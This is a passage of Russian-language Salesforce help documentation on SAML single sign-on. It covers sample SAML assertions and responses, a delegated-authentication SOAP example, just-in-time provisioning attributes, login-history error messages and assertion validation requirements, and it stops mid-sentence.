Значения, которые не подлежат добавлению в конфигурацию единой регистрации,
должныбытьпереданыпоставщику удостоверений. Поставщик удостоверенийдолжен
использовать данные значения в URL-адресе входа или утверждении.
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При необходимости выберите страницу настраиваемой ошибки, открывающуюся при наличии ошибки входа SAML.
Данная страницадолжнабытьобщедоступной (например, страницаVisualforceнаобщедоступномсайте). URL-адресможет
быть абсолютным или относительным. Рекомендуем использовать данное значение для настройки SAML.

СМ. ТАКЖЕ:

Общие сведения о SAML

Примеры утверждений SAML

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поставщики проверки
подлинности доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Предоставьте поставщику удостоверений доступ к примерам утверждений SAML,
позволяющим определить формат данных, который требуется системе Salesforce для
успешной единой регистрации. Утверждение должно быть подписано согласно
спецификации XML Signature посредством RSA и SHA-1 или SHA-256.

Помимо общих примеров для SAML 1.1 и SAML 2.0, ниже перечислены некоторые
специализированные примеры.

• утверждения для порталов

• утверждения для сайтов

• сообщение SOAP для делегированной проверки подлинности

• утверждение для своевременной инициализации
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Тип кода пользователя SAML — это имя пользователя Salesforce, а местоположение кода пользователя SAML —
это элемент <NameIdentifier> в элементе <Subject>.

SAML 1.1:

<Subject>
<NameIdentifier>user101@salesforce.com</NameIdentifier>

</Subject>

SAML 2.0:

<saml:Subject>
<saml:NameID

Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user101@salesforce.com</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:44:24.173Z"

Recipient="http://localhost:9000"/>
</saml:SubjectConfirmation>

</saml:Subject>

Тип кода пользователя SAML — это имя пользователя Salesforce, а местоположение кода пользователя SAML —
это элемент <Attribute>.

SAML 1.1:

<AttributeStatement>
<Subject>
<NameIdentifier>this value doesn't matter</NameIdentifier>

<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>

</SubjectConfirmation>
</Subject>

<Attribute AttributeName="MySfdcName" AttributeNamespace="MySfdcURI">
<AttributeValue>user101@salesforce.com</AttributeValue>

</Attribute>
</AttributeStatement>

SAML 2.0:

<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_USERNAME"

NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101@salesforce.com

</saml:AttributeValue>
</saml:Attribute>

</saml:AttributeStatement>

Тип кода пользователя SAML — это поле FederationIdentifier объекта Salesforce «Пользователь», а
местоположение кода пользователя SAML — это элемент <NameIdentifier> в элементе <Subject>.

SAML 1.1:

<AttributeStatement>
<saml:Subject>

<saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.0:assertion"
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NameQualifier="www.saml_assertions.com">
MyName

</saml:NameIdentifier>
</saml:Subject>

</AttributeStatement>

SAML 2.0:

<saml:Subject>
<saml:NameID

Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">MyName</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">

<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:48:25.730Z"
Recipient="http://localhost:9000/"/>

</saml:SubjectConfirmation>
</saml:Subject>

Прим.: Идентификаторомимениможетбытьлюбаяпроизвольнаястрока, включаяадреса эл. почтыилистроки
числовых кодов.

Тип кода пользователя SAML — это поле FederationIdentifier объекта Salesforce «Пользователь», а
местоположение кода пользователя SAML — это элемент <Attribute>.

SAML 1.1:

<AttributeStatement>
<Subject>
<NameIdentifier>who cares</NameIdentifier>

<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>

</SubjectConfirmation>
</Subject>

<Attribute AttributeName="MyName" AttributeNamespace="MyURI">
<AttributeValue>user101</AttributeValue>

</Attribute>
</AttributeStatement>

SAML 2.0:

<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_ATTR"

NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101

</saml:AttributeValue>
</saml:Attribute>

</saml:AttributeStatement>

Тип кода пользователя SAML — это имя пользователя Salesforce, а местоположение кода пользователя SAML —
это элемент <NameIdentifier> в элементе <Subject>.

Ниже приведен полный ответ SAML для SAML 2.0.

<samlp:Response ID="_257f9d9e9fa14962c0803903a6ccad931245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">

<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
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https://www.salesforce.com
</saml:Issuer>

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>

</samlp:Status>

<saml:Assertion ID="_3c39bc0fe7b13769cab2f6f45eba801b1245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">

https://www.salesforce.com
</saml:Issuer>

<saml:Signature>
<saml:SignedInfo>

<saml:CanonicalizationMethod
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>

<saml:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>

<saml:Reference URI="#_3c39bc0fe7b13769cab2f6f45eba801b1245264310738">
<saml:Transforms>

<saml:Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>

<saml:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<ec:InclusiveNamespaces PrefixList="ds saml xs"/>

</saml:Transform>
</saml:Transforms>
<saml:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<saml:DigestValue>vzR9Hfp8d16576tEDeq/zhpmLoo=
</saml:DigestValue>

</saml:Reference>
</saml:SignedInfo>
<saml:SignatureValue>

AzID5hhJeJlG2llUDvZswNUrlrPtR7S37QYH2W+Un1n8c6kTC
Xr/lihEKPcA2PZt86eBntFBVDWTRlh/W3yUgGOqQBJMFOVbhK
M/CbLHbBUVT5TcxIqvsNvIFdjIGNkf1W0SBqRKZOJ6tzxCcLo
9dXqAyAUkqDpX5+AyltwrdCPNmncUM4dtRPjI05CL1rRaGeyX
3kkqOL8p0vjm0fazU5tCAJLbYuYgU1LivPSahWNcpvRSlCI4e
Pn2oiVDyrcc4et12inPMTc2lGIWWWWJyHOPSiXRSkEAIwQVjf
Qm5cpli44Pv8FCrdGWpEE0yXsPBvDkM9jIzwCYGG2fKaLBag==

</saml:SignatureValue>
<saml:KeyInfo>

<saml:X509Data>
<saml:X509Certificate>

MIIEATCCAumgAwIBAgIBBTANBgkqhkiG9w0BAQ0FADCBgzELM
[Certificate truncated for readability...]

</saml:X509Certificate>
</saml:X509Data>

</saml:KeyInfo>
</saml:Signature>

<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">

saml01@salesforce.com
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</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:50:10.738Z"

Recipient="https://login.salesforce.com"/>
</saml:SubjectConfirmation>

</saml:Subject>

<saml:Conditions NotBefore="2009-06-17T18:45:10.738Z"
NotOnOrAfter="2009-06-17T18:50:10.738Z">

<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>

</saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement AuthnInstant="2009-06-17T18:45:10.738Z">
<saml:AuthnContext>

<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>

</saml:AuthnContext>
</saml:AuthnStatement>

<saml:AttributeStatement>

<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7L5
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/security/saml/saml20-gen.jsp

</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/security/del_auth/SsoLogoutPage.html

</saml:AttributeValue>
</saml:Attribute>

</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
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Примеры утверждений SAML для порталов

Пример ниже содержит атрибуты portal_id и organization_id в операторе утверждения SAML.

<saml:AttributeStatement>
<saml:Attribute Name="portal_id">

<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7P5</saml:AttributeValue>

</saml:Attribute>
</saml:AttributeStatement>

Нижеприведенполныйоператорутверждения SAML, которыйможетиспользоватьсядляединойрегистрациинапорталах.
Организация использует интегрированную регистрацию, которая добавляется в атрибут (см.
<saml:AttributeStatement>, выделенный в утверждении жирнымшрифтом), а не тему.

<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">

<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>

</samlp:Status>

<saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">

https://www.salesforce.com
</saml:Issuer>

<saml:Signature>
<saml:SignedInfo>

<saml:CanonicalizationMethod
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>

<saml:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>

<saml:Reference URI="#_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456">
<saml:Transforms>

<saml:Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>

<saml:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<ec:InclusiveNamespaces PrefixList="ds saml xs"/>

</saml:Transform>
</saml:Transforms>
<saml:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<saml:DigestValue>vzR9Hfp8d16576tEDeq/zhpmLoo=
</saml:DigestValue>

</saml:Reference>
</saml:SignedInfo>
<saml:SignatureValue>

AzID5hhJeJlG2llUDvZswNUrlrPtR7S37QYH2W+Un1n8c6kTC
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Xr/lihEKPcA2PZt86eBntFBVDWTRlh/W3yUgGOqQBJMFOVbhK
M/CbLHbBUVT5TcxIqvsNvIFdjIGNkf1W0SBqRKZOJ6tzxCcLo
9dXqAyAUkqDpX5+AyltwrdCPNmncUM4dtRPjI05CL1rRaGeyX
3kkqOL8p0vjm0fazU5tCAJLbYuYgU1LivPSahWNcpvRSlCI4e
Pn2oiVDyrcc4et12inPMTc2lGIWWWWJyHOPSiXRSkEAIwQVjf
Qm5cpli44Pv8FCrdGWpEE0yXsPBvDkM9jIzwCYGG2fKaLBag==

</saml:SignatureValue>
<saml:KeyInfo>

<saml:X509Data>
<saml:X509Certificate>

MIIEATCCAumgAwIBAgIBBTANBgkqhkiG9w0BAQ0FADCBgzELM
Certificate truncated for readability...

</saml:X509Certificate>
</saml:X509Data>

</saml:KeyInfo>
</saml:Signature>

<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">null

</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:48:25.456Z"

Recipient="https://login.salesforce.com/?saml=02HKiPoin4f49GRMsOdFmhTgi
_0nR7BBAflopdnD3gtixujECWpxr9klAw"/>
</saml:SubjectConfirmation>

</saml:Subject>

<saml:Conditions NotBefore="2009-06-17T18:43:25.456Z"
NotOnOrAfter="2009-06-17T18:48:25.456Z">

<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>

</saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z">

<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified

</saml:AuthnContextClassRef>
</saml:AuthnContext>

</saml:AuthnStatement>

<saml:AttributeStatement>

<saml:Attribute FriendlyName="Friendly Name" Name="federationId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:string">saml_portal_user_federation_id
</saml:AttributeValue>
<saml:AttributeValue xsi:type="xs:string">SomeOtherValue
</saml:AttributeValue>
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</saml:Attribute>

<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7Z5
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/qa/security/saml/saml20-gen.jsp

</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/qa/security/del_auth/SsoLogoutPage.html

</saml:AttributeValue>
</saml:Attribute>

</saml:AttributeStatement>
</saml:Assertion>

</samlp:Response>

Пример утверждения SAML для сайтов

Пример ниже содержит атрибуты portal_id, organization_id и siteurl в операторе утверждения SAML.

<saml:AttributeStatement>
<saml:Attribute Name="portal_id">

<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">060900000004cDk

</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="organization_id">

<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">00D900000008bX0

</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="siteurl">

<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">https://ap1.force.com/mySuffix</saml:AttributeValue>

</saml:Attribute>
</saml:AttributeStatement>
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Пример сообщения SOAP для делегированной проверки подлинности

Сервер Salesforce отправляет запрос SOAP 1.1 для проверки подлинности пользователя, передающего регистрационные
данные, в рамках единой регистрации с делегированной проверкой подлинности. Пример данного типа запроса см.
ниже. Веб-служба единой регистрации должна принять и обработать данный запрос, а затем вернуть ответ «истина»
или «ложь».

Пример запроса

<?xml version="1.0" encoding="UTF-8" ?>
<soapenv:Envelope

xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>

<Authenticate xmlns="urn:authentication.soap.sforce.com">
<username>sampleuser@sample.org</username>
<password>myPassword99</password>
<sourceIp>1.2.3.4</sourceIp>

</Authenticate>
</soapenv:Body>

</soapenv:Envelope>

Пример ответного сообщения

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope

xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>

<AuthenticateResult xmlns="urn:authentication.soap.sforce.com">
<Authenticated>false</Authenticated>

</AuthenticateResult>
</soapenv:Body>

</soapenv:Envelope>

Пример утверждения SAML для своевременной инициализации

Ниже приведен пример утверждения SAML для своевременной инициализации.

<saml:AttributeStatement>

<saml:Attribute Name="User.Username"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">testuser@123.org
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.Phone"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">415-123-1234
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.FirstName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Testuser
</saml:AttributeValue>
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</saml:Attribute>

<saml:Attribute Name="User.LanguageLocaleKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">en_US
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.CompanyName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Salesforce.com
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.Alias"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">tlee2
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.CommunityNickname"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">tlee2
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.UserRoleId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">000000000000000
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.Title"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Mr.
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.LocaleSidKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">en_CA
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.Email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">testuser@salesforce.com
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name=" User.FederationIdentifier"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">tlee2
</saml:AttributeValue>
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</saml:Attribute>

<saml:Attribute Name="User.TimeZoneSidKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">America/Los_Angeles
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.LastName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">Lee
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.ProfileId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">00ex0000001pBNL
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.IsActive"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">1
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="User.EmailEncodingKey"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">UTF-8
</saml:AttributeValue>

</saml:Attribute>

</saml:AttributeStatement>

СМ. ТАКЖЕ:

Общие сведения о SAML
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Просмотр журнала входов SAML

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поставщики проверки
подлинности доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Если пользователь входит в систему Salesforce из другого приложения посредством
единой регистрации, то утверждения SAML отправляются на страницу входа Salesforce.
Утверждения сравниваются с утверждениями сертификата проверки подлинности,
указанного на странице «Параметры единой регистрации» в меню «Настройка». Если
пользователь не может выполнить вход, тожурнал регистрирует сообщение о причине
сбоя. Кроме того, недопустимое утверждение может быть автоматически добавлено в
средство проверки утверждения SAML.

Чтобы просмотреть журнал входов, введите строку «Журнал входов» в поле «Быстрый
поиск» в меню «Настройка», затем выберите пункт «Журнал входов». При
необходимости предоставьте данные журнала входов поставщику удостоверений.

Ниже перечислены возможные ошибки.

Срок действия утверждения истек
Временная отметка утверждения составляет более пяти минут.

Прим.: Система Salesforce не допускает разницу более трех минут. Другими
словами, срок действия утверждения истек не менее восьми минут назад или
истечет через три минуты. Если срок действия утверждения составляет менее
пяти минут, то указанное выше время может быть уменьшено.

Недопустимое утверждение
Утверждениенедействительно. Например, утверждениеможетнесодержатьэлемента
<Subject>.

Недопустимая аудитория
Элемент <Audience> должен содержать значение
https://saml.salesforce.com.

Ошибка конфигурации или отключенное полномочие
Ошибка конфигурации SAML в системе Salesforce. Например, повреждение
загруженногосертификатаилиотключениенастроекорганизации. Чтобыпроверить
конфигурацию, введите строку «Параметры единой регистрации» в поле «Быстрый
поиск» в меню «Настройка», затем выберите пункт «Параметры единой
регистрации». После этого получите образец утверждения SAML от поставщика
удостоверений ищелкните «Средство проверки утверждения SAML».

Несоответствие отправителя
Отправитель или код объекта, указанный в утверждении, не соответствует
отправителю, указанному в конфигурации Salesforce.

Несоответствие получателя
Получатель, указанный в утверждении, не соответствует получателю, указанному в
конфигурации Salesforce.

Обнаружение повтора
Код утверждения используется несколько раз. Коды утверждений должны быть уникальными в организации.

Недопустимая подпись
Подпись утверждения не может быть проверена сертификатом в конфигурации Salesforce.
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Ошибка подтверждения темы
Элемент <Subject>, указанный в утверждении, не соответствует конфигурации SAML в системе Salesforce.

СМ. ТАКЖЕ:

Общие сведения о SAML

Проверка параметров SAML для единой регистрации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поставщики проверки
подлинности доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

ЕслипользователиSalesforceнемогут выполнитьвходпосленастройкифункцииединой
регистрациив системе Salesforce, воспользуйтесь средствомпроверки утверждения SAML
и журналом входов, чтобы проверить утверждения SAML, отправленные поставщиком
удостоверений.

1. Получите утверждение SAML от поставщика удостоверений. Утверждение может
быть передано в формате XML или закодировано в Base-64.

ЕслипользовательнеможетвыполнитьвходвсистемуSalesforce, тосредствопроверки
утверждения SAML автоматически заполнено недопустимым утверждением SAML.

2. Введите строку «Параметры единой регистрации» в поле «Быстрый поиск» в меню
«Настройка», затемвыберитепункт«Параметрыединойрегистрации»ищелкните
«Средство проверки утверждения SAML».

3. Введите утверждение SAML в текстовое поле и нажмите кнопку «Проверить».

4. Отправьте ошибки проверки поставщику удостоверений.

СМ. ТАКЖЕ:

Общие сведения о SAML

Общие сведения о единой регистрации

Рекомендации по внедрению единой регистрации
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Ошибки проверки утверждения SAML

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поставщики проверки
подлинности доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Ниже перечислены требования, предъявляемые системой Salesforce к утверждениям.

Оператор проверки подлинности
Поставщик удостоверений должен добавить <AuthenticationStatement> в
утверждение.

Оператор условий
Утверждение, содержащееоператор <Conditions>, должносодержатьдопустимую
временную отметку.

Временные отметки
Период действия, указанный в утверждении, должен соблюдаться. Кроме того,
временная отметка утверждения должна составлять менее пяти минут, плюс или
минус триминуты, независимоот периода действия утверждения. Данный алгоритм
допускает временныеразличияна разных компьютерах. Ограничения NotBefore
и NotOnOrAfter должны быть также заданы и проверены.

Атрибут
ЕсликонфигурацииSalesforce заданозначение «Удостоверение находится в элементе
Attribute», то утверждение от поставщика удостоверений должно содержать
<AttributeStatement>.

При использовании SAML 1.1 <AttributeName> и <AttributeNamespace>
должны быть заданы как часть <AttributeStatement>.

При использовании SAML 2.0 требуется только <AttributeName>.

Формат
Атрибут «Формат» оператора <Issuer> должен содержать значение
"urn:oasis:names:tc:SAML:2.0:nameid-format:entity" или пустое
значение.

Например:

<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://www.salesforce.com</saml:Issuer>

Ниже приведен другой действительный пример.

<saml:Issuer >https://www.salesforce.com</saml:Issuer>
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Отправитель
Отправитель, указанный в утверждении, должен соответствовать отправителю, указанному в системе Salesforce.

Тема
Тема утверждения должна соответствовать имени пользователя Salesforce или коду интегрирования пользователя.

Аудитория
Значение <Audience> является обязательным и должно соответствовать полю «Код объекта» из конфигурации
единой регистрации. Значение по умолчанию: https://saml.salesforce.com.

Получатель
Получатель, указанныйвутверждении, долженсоответствовать URL-адресу входа Salesforce, указанномувконфигурации
Salesforce, или конечной точке маркера OAuth 2.0. Данная часть утверждения является обязательной и проверяется
всегда.

Подпись
Утверждение должно содержать действительную подпись. Чтобы создать подпись, рекомендуем использовать
секретный ключ, связанный с сертификатом, указанным в конфигурации SAML.

Получатель
Проверяет получателя и код организации, указанные в утверждении, на соответствие ожидаемомуполучателюи коду
организации, указанным в конфигурации единой регистрации. Данная часть утверждения является дополнительной
и проверяется только при ее наличии. Например:

Recipient that we found in the assertion: http://aalbert-salesforce.com:8081/
?saml=02HKiPoin4zeKLPYxfj3twkPsNSJF3fxsH0Jnq4vVeQr3xNkIWmZC_IVk3

Recipient that we expected based on the Single Sign-On Settings page:
http://asmith.salesforce.com:8081/
?saml=EK03Almz90Cik_ig0L97.0BRme6mT4o6nzi0t_JROL6HLbdR1WVP5aQO5w

Organization Id that we expected: 00Dx0000000BQlI
Organization Id that we found based on your assertion: 00D000000000062

Атрибут URL-адреса сайта
Проверяет URL-адрес сайтов на допустимость. Возможные значения:

• Не указано

• Проверено

• Недопустимый URL-адрес сайта

• URL-адрес сайта требует наличия HTTPS

• Указанный сайт неактивен или превысил ограничение по количеству страниц

СМ. ТАКЖЕ:

Общие сведения о SAML
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Общие сведения о своевременной инициализации для SAML

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Функция своевременной инициализации позволяет использовать утверждение SAML
для оперативного создания постоянных пользователей и пользователей портала при
ихпервойпопытке входа. Вэтомслучаене требуется заблаговременносоздавать учетные
записипользователей. Например, для сотрудника, добавленноговорганизациюнедавно,
не требуется вручную создавать учетную запись в системе Salesforce. Учетные записи
новых пользователей, выполняющих вход посредствомфункции единой регистрации,
создаются автоматически — без временных и трудовых затрат для ответственных
сотрудников. Функция своевременнойинициализациивзаимодействует споставщиком
удостоверений SAML с целью передачи корректных сведений о пользователе в систему
Salesforce посредством утверждения SAML 2.0. Данный способ взаимодействия может
использоваться как для создания, так и для изменения учетных записей. Чтобы использовать функцию своевременной
инициализации, взаимодействующую посредством SAML, рекомендуем включить функцию единой регистрации на
основе SAML.

Преимущества своевременной инициализации
Ниже перечислены основные преимущества использования функции своевременной инициализации в организации.

• Снижениеадминистративныхрасходов.Инициализацияпосредством SAML позволяетклиентамсоздаватьучетные
записи помере необходимости — в рамках процесса единой регистрации. Объединение процессов инициализации
и единой регистрации позволяет значительно упростить интеграцию пользователей, требующих динамическую
инициализацию.

• Сокращение времени внедрения среди пользователей.Пользователям достаточно запомнить один пароль для
